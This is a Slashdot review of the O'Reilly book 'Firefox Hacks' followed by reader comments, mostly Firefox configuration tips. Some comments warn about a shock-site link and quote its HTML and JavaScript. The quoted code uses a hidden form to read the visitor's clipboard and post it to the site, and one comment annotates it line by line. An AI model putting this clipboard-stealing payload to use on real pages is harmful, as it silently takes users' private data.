Want to read Slashdot from your mobile device? Point it at m.slashdot.org and keep reading!

 



Forgot your password?
typodupeerror
×
Mozilla Books Media The Internet Book Reviews

Firefox Hacks 309

honestpuck (Tony Williams) writes "If there is an application I run more often than my Web browser, particularly since I also use it as my email client, then I don't know what it might be. As a Firefox convert, that made the arrival of Firefox Hacks from O'Reilly a wonderful surprise." Read on for the rest of Williams' review.
Firefox Hacks
author Nigel McFarlane
pages 368
publisher O'Reilly
rating 7
reviewer Tony Williams
ISBN 0596009283
summary A good, fairly technical examination of Firefox

The first of several books on the topic of Firefox hacking (two more are due from other publishers in the coming months) Firefox Hacks sets the bar quite high. The author, Nigel McFarlane, has already written a number of other books and articles on similar topics and knows his subject well. He has also enlisted the help of a number of other cognoscenti to cover the more distant corners covered in the book.

A Web browser is a much more complex piece of software than you may realize on first examination, and Firefox -- with the core Gecko engine surrounded by a large wrapper written in XUL and JavaScript -- provides a fertile ground for any number of changes and enhancements. Firefox Hacks does a good job of mapping out the boundaries of this space.

Over the course of the now-traditional 100 hacks found in the same series' other members, this book covers hacking with, on, and to almost all aspects of Firefox and the 'net. The book is broken up into nine chapters, most worth reading by almost everyone -- even the first, "Firefox Basics," taught me a couple of tricks for getting the best out of a slow (and expensive) GPRS connection. The others are "Security," "Installation," "Web Surfing Enhancements," "Power Tools for Web Developers," "Power XML for Web Pages," "Hack the Chrome Ugly," "Hack the Chrome Cleanly," and "Work More Closely With Firefox." I have to say I felt the chapter on Power XML (with 17 of the 100 hacks) was far too general on Web technologies and a little out of place; easily half the hacks in that chapter could have been dropped without any real loss to a reader's understanding of Firefox. I would have preferred more on the browser itself. No insult intended to Seth Dillingham, who wrote four of the hacks I'd throw out -- they are well written and do show how best to deal with Web technologies inside Firefox. I just felt that the space would have been better devoted to more "core" topics.

The first four chapters will be useful to everyone, covering mainly the use of Firefox. From that point, the hacks become increasingly complex as they cover Web development, then modifying the interface, before covering such arcana as creating extensions and custom builds.

I am hard pressed to think of a corner of Firefox not at least touched, though it must be said that the later hacks only touch on the topics covered without really providing a lot of depth. If you get to the last two chapters in the book, performing and expanding on the hacks, you will probably need a great deal more information and assistance to branch out on your own. McFarlane, however, points out the possibilities and gets you started. I didn't feel this was a flaw, just that a line had been drawn, as it must unless the book was going to be three times the size and price.

The book is fairly well written. The quality of writing and editing fall into that middle ground of "fairly good" that one expects from the average O'Reilly book, though not the "excellent" they can sometimes hit. The structure and flow are excellent, making the book readable in large chunks -- enough sticks that when you are back in front of the computer using Firefox you can remember a few things. (Or, sometimes, I remembered that a hint existed and was able to easily find and use the information.)

For a closer look there is a decent page at O'Reilly with links to six example hacks, the table of contents (listing all 100 hacks) and the index.

To conclude, I'm not sure I could recommend this book to everyone; it spends a little too much time a fair way along the technology curve for those who aren't ready for some programming, though for anyone who wants to get their hands dirty and perform some hardcore hacking on their favourite browser, then this is an above-average volume. For someone who is happy as "just a user," this book may be too much: wait and see what else emerges into the Firefox book market -- including O'Reilly's other offering, the soon-to-be-released Don't Click on the Blue E, which they describe as giving "non-technical users a convenient roadmap for switching to a better web browser--Firefox."


Also watch soon for a review of Prentice Hall's Firefox & Thunderbird Garage. You can purchase Firefox Hacks from bn.com. Slashdot welcomes readers' book reviews -- to see your own review here, read the book review guidelines, then visit the submission page.
This discussion has been archived. No new comments can be posted.

Firefox Hacks

Comments Filter:
  • by Ron Harwood ( 136613 ) <harwoodr@nOspaM.linux.ca> on Wednesday March 30, 2005 @06:17PM (#12094123) Homepage Journal
    ...and I found out about editCSS and webdeveloper extenstions from there... they rock.
  • by spywarearcata.com ( 841806 ) on Wednesday March 30, 2005 @06:19PM (#12094145)
    An excellent book. The explanation of about:config and its mods are very useful.

    I did the opposite of the Anonymity sub-chapter by putting my home page URL into my referrer string.
  • Re:Didn't RTFA yet (Score:2, Informative)

    by Vaevictis666 ( 680137 ) on Wednesday March 30, 2005 @06:24PM (#12094220)
    Now, now. That's a perfectly valid sentence. Taking out the text surrounded in commas as an aside, the main thrust of the sentence is:

    If there is an application I run more often than my Web browser, then I don't know what it might be.

    The "then" might be debatable, but otherwise it makes perfect sense to me. And taking the aside on its own is fine as well, so I dunno what your gripe is.

  • Re:PDF Hack (Score:5, Informative)

    by Derek Pomery ( 2028 ) on Wednesday March 30, 2005 @06:25PM (#12094240)
    http://www.mozilla.org/support/firefox/faq#acrobat [mozilla.org]
    Not only "slowly" but also unstably.
    Every system I've applied this FAQ entry to has much better performance.
  • by akira69 ( 621573 ) on Wednesday March 30, 2005 @06:26PM (#12094260)
    You are an asshole. Don't click this link people. Bad news.
  • by c0ldfusi0n ( 736058 ) <admin@c0l[ ]si0n.org ['dfu' in gap]> on Wednesday March 30, 2005 @06:35PM (#12094365) Homepage
    Sorry for the slightly offtopic comment, but i have to post this.
    O'reilly have a book called Don't click on the blue E! [oreilly.com] that's a kind of migration guide from IE to Firefox for disenchanted Internet Explorer users.

    I just love the title of it. Frankly, how many Firefox users trying to get thir sister/mother/grandma to use Firefox (mostly because they're sick of being called to remove spywares/viruses induced by IE) have actually use that phrase?
  • Nice review (Score:5, Informative)

    by echocharlie ( 715022 ) on Wednesday March 30, 2005 @06:38PM (#12094394) Homepage
    Author did a nice job on this review. I will probably pick this book up. Here's a link to O'Reilly's official site for the book [oreilly.com]. NerdBooks.com [nerdbooks.com] has is carrying at 50% off [nerdbooks.com].
  • Re:PDF Hack (Score:1, Informative)

    by Anonymous Coward on Wednesday March 30, 2005 @06:51PM (#12094547)
    plugin.scan.Acrobat

    from the firefox website...
    remove this entry if you don't want PDF files sent to an external viewer and would prefer to download them
  • by seizer ( 16950 ) on Wednesday March 30, 2005 @06:52PM (#12094566) Homepage
    Certainly:

    browser.xul.error_pages.enabled

    Enjoy.
  • What it really does. (Score:5, Informative)

    by spagetti_code ( 773137 ) on Wednesday March 30, 2005 @06:57PM (#12094624)
    Be warned - in case you are tempted...

    This is a pretty ingenious script that

    • Opens up windows (or tabs, depending on how you open the link) as fast as your computer can - 100% CPU
    • Each window displays gay porn
    • Plays a loud sound "Hey everybody I'm looking at gay porno"
    • Behind the scenes it also copies the contents of your clipboard to this guy.
    It works in IE and firefox. It is simply a page with an image, a flash movie, and a javascript that copies your clipboard to a field then 'submit()'s' the form, reloading the page.

    Very simple and bypasses popup blockers (at least the ones I have on).

    This has got to be a security hole in firefox, both on the ability to open windows/tabs, and copying the clipboard.

    If you want to have a look, use:

    WARNING: dont click on this link, just copy the wget command to a shell. Dont say I didn't warn you...
  • Re:One hack I want (Score:5, Informative)

    by Elwood P Dowd ( 16933 ) <judgmentalist@gmail.com> on Wednesday March 30, 2005 @07:03PM (#12094670) Journal
    That's a different problem. Internet explorer won't allow you to submit a password in the URL anymore either.

    The reason your intranet works for everyone on IE is because IE supports Windows integrated security. It can tell that you are who you say you are because your machine is joined to the Windows domain.
  • MAF (Score:5, Informative)

    by real_smiff ( 611054 ) on Wednesday March 30, 2005 @07:03PM (#12094672)
    this "comes free" with the Mozilla Archive Format [mozdev.org] extension (adds an option to the page Save As type menu). I just tested it, page opened in IE, seems to work, a little slow maybe. as for your 2nd request, maybe someone else can help, i don't know sorry. btw if you didn't post anonymous you could see this reply easier..
  • Re:PDF Hack (Score:2, Informative)

    by pjbgravely ( 751384 ) <pjbgravely2 AT gmail DOT com> on Wednesday March 30, 2005 @07:04PM (#12094681) Homepage Journal
    A 404 informative?, what gives?
  • Re:Close (Score:3, Informative)

    by Lazyhound ( 542184 ) on Wednesday March 30, 2005 @07:04PM (#12094690)
    Netscape 7 is Gecko-based, and 8 is basically a Firefox reskin with a few new widgets.
  • Re:One hack I want (Score:1, Informative)

    by Anonymous Coward on Wednesday March 30, 2005 @07:05PM (#12094695)
    * Open Firefox
    * In the Address bar type "about:config" (no quotes)
    * In the filter field type "ntlm" (no quotes)
    * Double click "network.automatic-ntlm-auth.trusted-urls"
    * Add the following to the dialogue that appears "" (no quotes, and keep the spaces after the commas)
    * Click OK
    * Exit Firefox and restart

  • by Anonymous Coward on Wednesday March 30, 2005 @07:15PM (#12094786)
    <html>
    <head>
    <title>GNAA Last Measure v4.1 by Rucas with Armorfist's PopupByPasser Mod.</title>
    </head>

    <body>

    <form name="clip" method="post" action="index.php" style="display:none">
    <input type="text" name="content">
    <input type="hidden" name="send" value="1">
    <input type="hidden" name="referer" value="">
    <input type="hidden" name="user" value="">
    <input type="submit">
    </form>

    <script language="javascript">
    //without this if statement check, it bombs out with an error
    if(typeof clipboardData != 'undefined') {
    var content = clipboardData.getData("Text");
    document.forms["clip"].elements["content"].value = content;
    }
    document.forms["clip"].submit();
    </s cript>
    </body>
    </html>
    </head>
    <body >

    <table width="100%" height="100%"><tr><td valign="middle"><div align="center"><a href="http://www.gnaa.us/"><img src="gnaa.png" border="0"></a><br><br>

    <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-44455354000 0' codebase='http://download.macromedia.com/pub/shock wave/cabs/flash/swflash.cab#version=6,0,29,0' width='10' height='10'>
    <param name='movie' value='flash/first_opener.swf'>
    <param name='quality' value='high'>
    <embed src='flash/first_opener.swf' quality='high' pluginspage='http://www.macromedia.com/go/getflash player' type='application/x-shockwave-flash' width='10' height='10'></embed>

    </object>
    </div></td></tr></table></body></html>
  • Re:One hack I want (Score:5, Informative)

    by cowass ( 872106 ) on Wednesday March 30, 2005 @07:26PM (#12094921)
    If you need windows Auth in firefox do the following: open firefox browse to about:config find network.automatic-ntlm-auth.trused-uris modify the value and enter in your intranet sites that you must pass your username and password to. For some site i connect to i also had to add values to: network.negotiate-auth.delegation-uris network.negotiate-auth.trusted-uris
  • by fm6 ( 162816 ) on Wednesday March 30, 2005 @07:34PM (#12095007) Homepage Journal
    Greasemonkey is certainly a cool hack. But would it have killed you to provide a link [mozdev.org]?

    Installing a extension just so you can tweak a few bookmark icons is just a bit, you know...

  • Re: Greasemonkey (Score:4, Informative)

    by binarysearch ( 605184 ) on Wednesday March 30, 2005 @07:37PM (#12095043) Homepage
    Speaking as one of the "cognoscenti" who contributed to the book, I'd say that yes, Greasemonkey is a bit too new to have made it into the book. When I came onboard in late October 2004, most of the hacks had already been thought up and allocated. The deadline for the first draft of the hacks was November 22, and contributor's reviews were due by December 11.

    Looking at the CVS repository for Greasemonkey ( http://www.mozdev.org/source/browse/greasemonkey/ [mozdev.org] ), it looks like the oldest files are four months old, which means that yes, Greasemonkey is too new to have had a chance to get in to the book. I imagine that it'll *probably* be featured in any subsequent editions. The problem is that Greasemonkey is really quite code-centric, far more so than most of the stuff in the last few chapters, and those chapters are already striking some as "too technical." Writing a hack would be tricky, as you'd have two main options, neither of which are particularly appealing:

    * Delve into the nuts-and-bolts of programming to show users how to Get Stuff Done with Greasemonkey, which is outside the scope of the book, or
    * treat The Code That Does Stuff as magic, and use e.g. Butler as an example of what can be done.

    Of course, hacks.oreilly.com does allow you to submit your own hacks. If you want a job done right...
  • by Anonymous Coward on Wednesday March 30, 2005 @07:41PM (#12095084)
    If you do that, you're going to get lots of bugs, like the back button losing it's history. That's why the error pages are disabled. In 1.1, this should work right (in fact, it works properly in trunk nightlies right now).
  • Re:PDF Hack (Score:2, Informative)

    by SkeptiNerd75 ( 85087 ) on Wednesday March 30, 2005 @07:42PM (#12095088)
    Mozilla.org blocks referrers from Slashdot. Just copy and paste the URL into your browser.
  • Re:PDF Hack (Score:5, Informative)

    by good-n-nappy ( 412814 ) on Wednesday March 30, 2005 @07:42PM (#12095094) Homepage
    I got this too. The problem is that the "#" is turning into "%23" for some reason. Use this link [mozilla.org] instead and search for Adobe.
  • by moonbender ( 547943 ) <moonbenderNO@SPAMgmail.com> on Wednesday March 30, 2005 @07:44PM (#12095113)
    There should be a way to suppress resuming a session, like holding the shift key while starting FF. (Maybe there is a way - it seems like an obvious addition to me.) Or do it the Opera has been doing it since seemingly forever (well okay, version 5? 6?), display a dialogue after a crash prompting the user as to what to do.
  • by tetranitrate ( 798753 ) <a-jNO@SPAMcharter.net> on Wednesday March 30, 2005 @07:45PM (#12095124)
    I have the following config option set, and didn't get the popups. I read that firefox has had flash blocking functionality in for some time, but didn't enable it due to it possibly breaking things.

    privacy.popups.disable_from_plugins = 2
  • Re:PDF Hack (Score:2, Informative)

    by pawnIII ( 821440 ) on Wednesday March 30, 2005 @08:10PM (#12095344)
    Ever since 1.0.1 and Adobe Acrobat 7 came out, I haven't had a slow down or a crash when loading pdf files.
  • by Osty ( 16825 ) on Wednesday March 30, 2005 @08:11PM (#12095365)

    But if they don't mention greasemonkey, then the only excuse I'll accept is that it's too new to appear in print. I'm using it at work to clobber that last webapp so that I no longer have to use IE...

    You really should give a link for Greasemonkey [mozdev.org], and to the script repository [dunck.us].

    Also, shameless pimpage, but I've built a Greasemonkey implementation for IE, GreasemonkIE [daishar.com]. It's still in development (missing a pretty major feature right now, which should be sorted out soon -- covered in the blog entry above), but it works quite well considering IE's limitations. GreasemonkIE tries to re-use existing Greasemonkey user scripts as much as possible, but other browsers have user script support too. The new Opera beta has an implementation of user scripts, and PithHelmet [culater.net] does the same for Safari (among many other features). Up until yesterday, IE was the only browser left out of the user script craze, but I'm trying to rectify that.

  • by Selanit ( 192811 ) on Wednesday March 30, 2005 @08:46PM (#12095700)
    I just want to say.. I have
    http://flashblock.mozdev.org/ [mozdev.org] [mozdev.org]Flashblock and nothing happened. It totally stopped that site. Its a great FF extension.

    You didn't get the tabs, pop-ups and the gay porn -- but the contents of your clipboard were sent, unless you've got JavaScript turned off completely. Take a look at this (comments added):

    <!--
    Make a form, but use inline CSS to make it invisible (display:none).
    -->
    <form name="clip" method="post" action="index.php" style="display:none">
    <input type="text" name="content">
    <input type="hidden" name="send" value="1">
    <input type="hidden" name="referer" value="">
    <input type="hidden" name="user" value="">
    <input type="submit">
    </form>

    <script language="javascript">
    if(typeof clipboardData != 'undefined') {
    // If we can get the clipboard, get it.
    var content = clipboardData.getData("Text");
    // Put it into the invisible form.
    document.forms["clip"].elements["content"].value = content;
    }
    // Submit the invisible form.
    document.forms["clip"].submit();
    </script>

    Then it has a second body tag containing the flash object that's responsible for the visible annoying stuff. I have to wonder what random stuff they're getting out of people's clipboards . . .

  • by Anonymous Coward on Wednesday March 30, 2005 @08:47PM (#12095708)
    Check out http://www.stumbleupon.com/ [stumbleupon.com]

    It's not spyware like what you described but rather will allow you to queue pages to your GF. When she hits her stumble button it will show your comment to her then load the page.

    It's actually really cool. It does a bunch of other things too. I could go on and on decribing it to you but I wont. Go check it out, you wont be sorry.

    Here is my stumble page as an example:
    http://emfb.stumbleupon.com/ [stumbleupon.com]
  • Re:Session Saver (Score:2, Informative)

    by The Wicked Priest ( 632846 ) on Wednesday March 30, 2005 @09:57PM (#12096242)
    Can you not bypass Session Saver by starting in safe mode?
  • by quiddity ( 106640 ) on Wednesday March 30, 2005 @10:22PM (#12096400)
    if you have lots of bookmarks, then using favicons can severely bulk up your bookmarks.html file. 40mb bookmark files are NOT FUN.

    add these lines to your user.js to get rid of all site icons.

    // Disable Bookmark Icons
    user_pref("browser.chrome.site_icons", false);
    user_pref("browser.chrome.favicons", false);

    (though it wont clean the code for known icons out of bookmarks.html)
  • Re:PDF Hack (Score:2, Informative)

    by Garion Maki ( 791172 ) on Thursday March 31, 2005 @08:46AM (#12098841)
    text from the page (managed to load it by changing the %23 in the url into a # like sombady posted higher up)

    Why do Adobe pdf files load slowly in Windows?

    Adobe Reader 6.0 for Windows loads lots of unused plugins on startup. The Inquirer has a great article explaining how you can disable those unneeded plugins and make Adobe Reader load faster. Basically, you need to do the following:

    1. Install Adobe Reader 6.0 and notice where it is installed.
    2. Navigate to that folder in Explorer, locate the plug_ins subfolder and rename this folder to plug_ins_disabled.
    3. Create a new plug_ins folder.
    4. Move the files EWH32.api, printme.api and search.api from plug_ins_disabled to plug_ins.

If all else fails, lower your standards.

Working...